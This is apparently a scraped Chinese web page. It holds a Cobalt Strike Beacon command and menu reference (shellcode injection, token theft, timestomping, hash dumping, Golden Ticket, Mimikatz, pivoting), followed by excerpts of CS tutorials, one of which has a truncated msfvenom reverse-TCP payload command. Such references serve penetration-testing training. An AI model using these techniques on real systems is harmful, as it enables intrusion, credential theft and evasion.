        screenwatch               每次Beacon check-in进行屏幕截图,直至jobkill将其进程结束,可以将其注入至特定进程
        setenv                    设置环境变量
        shell                     通过cmd或shell执行命令
        shinject                  将shellcode注入进程
        shspawn                   Spawn process and inject shellcode into it
        sleep                     设置Beacon的延迟时间(心跳时间)
        socks                     在靶机开启SOCKS4反向代理,监听端口在C2主机
        socks stop                停止SOCKS4代理
        spawn                     派生新的会话
        spawnas                   派生具有其他用户权限的会话
        spawnto                   Set executable to spawn processes into
        spawnu                    选择特定的父进程派生新的会话
        spunnel                   Spawn and tunnel an agent via rportfwd
        spunnel_local             Spawn and tunnel an agent via Cobalt Strike client rportfwd
        ssh                       使用SSH连接远程主机
        ssh-key                   使用SSH连接远程主机
        steal_token               从指定进程中窃取令牌
        timestomp                 将一个文件的时间戳应用到另一个文件
        unlink                    与父/子Beacon断开会话连接
        upload                    上传文件
    
    • Access
      Dump Hashes:获取账户哈希
      Elevate:提权,将提权后的会话弹回监听器
      Golden Ticket:生成黄金票据并将其注入到当前会话
      Make Token:转换当前登录凭证
      One-liner:用一次性powershell命令派生会话,该命令会在Beacon会话靶机上临时运行一个服务器,供本地下载stage并运行,一次下载后服务随即关闭
      Run Mimikatz:运行mimikatz sekurlsa::logonpasswords命令
      Spawn As:派生具有其他用户权限的会话

    • Explore
      Browser Pivot:注入靶机IE浏览器进程并开启HTTP代理,攻击者可以通过此代理继承靶机IE已获取的凭证
      Desktop(VNC):通过VNC远程控制靶机桌面
      File Browser:文件浏览
      Net View:运行net view命令
      Port Scan:端口扫描
      Process List:详细的图形化进程列
      Screenshot:屏幕截图

    • Pivoting
      SOCKS Server:在靶机开启SOCKS4反向代理,监听端口在C2主机
      Listener:设置pivot监听器,从而避免大量的靶机Beacon直接与C2通信
      Deploy VPN:部署隐蔽VPN

    • Spawn
      派生新的会话

    • Session
      Note:为当前Beacon做备注
      Color:为会话标记颜色
      Remove:移除会话
      Sleep:设置Beacon的延迟时间(心跳时间)
      Exit:退出会话

    (四) Target 操作

    在Target Table视图右键点选session,可对目标进行进一步操作,如下所示:
    在这里插入图片描述

    • Jump
      通过psexec、ssh、winrm等远程命令工具新建会话:如果Listener是SMB/TCP Beacon,则新建会话与当前会话为级联关系;如果Listener是HTTP/HTTPS/DNS Beacon,则新建会话与当前会话为并列关系。

    • <user>@<pid>
      显示所有靶机的session操作

    • Scan
      端口扫描

    • Services
      显示已扫描出的靶机开放的服务

    • Host
      修改主机的操作系统、名字、备注、颜色等属性

    展开全文
  • java -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar 需切换到CobaltStrike执行,Windows使用cmd执行命令。 2.创建监听器。 打开监听器→Add→添加一个监听器。 3.生成后门文件,并将生成的后门...
  • cs4.2 这里可以直接执行进行启动 ./cobaltstrike 如图填入公网ip 和映射后的端口 用户名随意 密码为之前填写的giao 如果之前配置过的话 连接上之后直接有上线主机 这里看下新建listener的流程 为了方便 我这里直接把...
  • CobaltStrike使用之如何上线

    千次阅读 2020-11-22 13:47:37
    已经拿到某台肉鸡的web权限,想进行后渗透攻击,进入内网收集信息,我们可以用到cobaltstrike msf反弹shell 1、制作反弹shell-exe文件在这里插入代码片 msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=...
  • CobaltStrike使用教程系列(一)

    千次阅读 2020-09-04 23:07:00
    Cobalt Strike Cobal Strike 4.0 汉化版:https://pan.baidu.com/s/1iElxAMg5jiXtUgjmNwLlog 密码:45ih ...
  • Cobaltstrike4.1来源这是反编译后的Cobaltstrike4.1源码,修改了一点反编译后的bug,teamserver与agressor均能正常调试使用,若想自己修改调试那个文件只需把该文件复制到src下即可。 这是魔改Cobaltstrike4.1系列的...
  • 默认的CobaltStrike内存在多处流量特征,在马儿与服务端建立连接时进行流量交互.此间存在多处可疑特征已被各大杀软记录在册 如:卡巴斯基,诺顿,迈克菲等,但国内杀软并无此功能. 所以在客户端进行免杀的同时服务端在...
  • Cobalt Strike4.1

    2020-12-30 20:14:52
    Cobalt Strike已经不再使用MSF而是作为单独的平台使用,它分为客户端与服务端,服务端是一个,客户端可以有多个,可被团队进行分布式协团操作。 Cobalt Strike集成了端口转发、扫描多模式端口Listener、Windows exe...
  • CobaltStrike4.3指南手册.pdf
  • Cobalt Strike 作为一款协同APT工具,已成为了渗透测试中不可缺少的利器,文章基于Cobalt Strike 4.3进行介绍, 文章目录二、常用操作(一) 创建监听器(二) 生成payload(三) 管理节点 二、常用操作 (一) 创建监听器 ...
  • CobaltStrike监听机器:kali ip:192.168.50.73 被攻击机:win7 IP:192.168.50.239 CobaltStrike客户端登录 木马生成 点击,攻击->生成后门->windows executable 设置监听 选择监听并生成木马 在目标...
  • Cobalt Strike神器使用教程

    千次阅读 2019-07-18 17:29:04
    cobaltstrikecobaltstrike.jar # 客户端程序(java跨平台) logs #目录记录与目标主机的相关信息 update,update.jar #用于更新CS third-party #第三方工具 首先开启服务端 ./teamserver 团队服务器ip ...
  • CobaltStrike使用

    2021-09-30 09:59:24
    配置好VPS(ubuntu16.04演示)的java环境之后,将cobaltstrike4.4放置在VPS的/opt目录下,使用chmod +x teamserver 赋予其执行权限。 使用命令./teamserver VPS的IP地址 cs登录密码,开启团队服务器 ./teamser.
  • Cobalt Strike 的Beacon 提供了多种 pivoting 选项。前提是 Beacon 处于交互模式。交互模式意味着一个 Beacon 每 秒内多次连接到团队服务器。使用 sleep 0 命令来使你的 Beacon 进入交互模式。 0x02 开启SOCKS ...
  • 一、下载“CS-闪电攻击” ... CS分为两部分:客户端、服务端,CS 依赖 Java 1.8,所以运行CS程序前自行安装java,windows 和 kali 都装上吧,kali自带的openjdk也能用。...1、将cobalt Strike复制到 ...
  • Cobalt Strike使用教程二

    千次阅读 2019-10-24 16:01:27
    继前一章介绍了Cobalt Strike的基本用法,本章接着介绍如何攻击、提权、维权等。 0x01 与Metasploit联动 Cobalt Strike → Metasploit msf开启监听模式 use exploit/multi/handler set payload windows/...
  • 文章目录 上线 无文件上线 Beacon命令 argue参数污染 远程桌面 Cobalt Strike与MSF的联动 cs的会话---->msf的会话 msf的会话---->cs的会话 cobaltstrike权限维持 cobaltstrike权限降低 哈希传递攻击 profile使用及...
  • CobaltStrike4.0用户手册_中文翻译.pdf
  • Cobalt Strike 使用方法

    2020-07-20 10:12:00
    Cobalt Strike 一款以Metasploit为基础的GUI框架式渗透测试工具,集成了端口转发、服务扫描,自动化溢出,多模式端口监听,exe、powershell木马生成等。 钓鱼攻击包括:站点克隆,目标信息获取,java执行,浏览器...
  • 网上收集到的CobaltStrike4.0中文实用手册,该资源仅供交流学习实用,请勿用于其它用途,该资源仅供交流学习实用,请勿用于其它用途。解压密码为123321
  • cobaltstrike3.14.zip

    2019-11-04 11:46:59
    cobalt strike作为一款协同APT工具,功能十分强大,针对内网的渗透测试和作为容易的控制终端功能,使其变成众多APT组织的首选。 工具为3.14版本,建议虚拟机运行,是否有后门请自测,仅供学习使用,不得用于非法用途
  • 使用Go来实现CobaltStrike的信标 该项目仅用于学习协议分析和逆向工程,如果有人的权利受到侵犯,请与我联系以删除该项目,最后一个请勿非法使用 怎么玩 设置团队服务器并启动http许可,团队服务器将生成文件.cobalt...
  • 使用powershell上线 方法一 选择生成payload,选择如图。 复制文档里的内容,粘贴进cmd,并运行。 成功上线 方法二 选择生成payload,选择如图。 将生成的payload.ps1上传的要上线的机器上,cmd运行 powershell ...
  • BOF DLL注入是一个自定义的,该使用手动映射DLL注入以便将dll全部从内存迁移到进程中。 好处 不太可能被签名 DLL有效负载保留在内存中,永不接触磁盘 附加功能易于实现 DLL未在内核领域注册为包括EPROCESS结构的模块...
  • 前两天安装好了cs,今天趁着周末试试怎么使用,结果弄了半天没有成功上线过一次靶机。换了个方式结果都行了。赶紧写个博客记录下。 一、本地连接 在无数次连接不到靶机后,我果断放弃了用公网服务器作为服务端的...
  • cobaltstrike4.0-cracked.zip

    2020-07-04 22:20:20
    这是Cobalt Strike4.0的无后门版本,该版本仅供学习使用,请勿用于非法途径,请时刻遵守国家法律。
  • Cobalt-Strike-Aggressor-Scripts 长时间未更新,说声抱歉 本脚本借鉴了许多大佬的思路以及源码,由于较为仓促未能贴出每个的url,在此表示感谢! Usage: Update 20200422 加入Info-Collect信息收集模块 加入chrome...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 1,585
精华内容 634
关键字:

cobaltstrike使用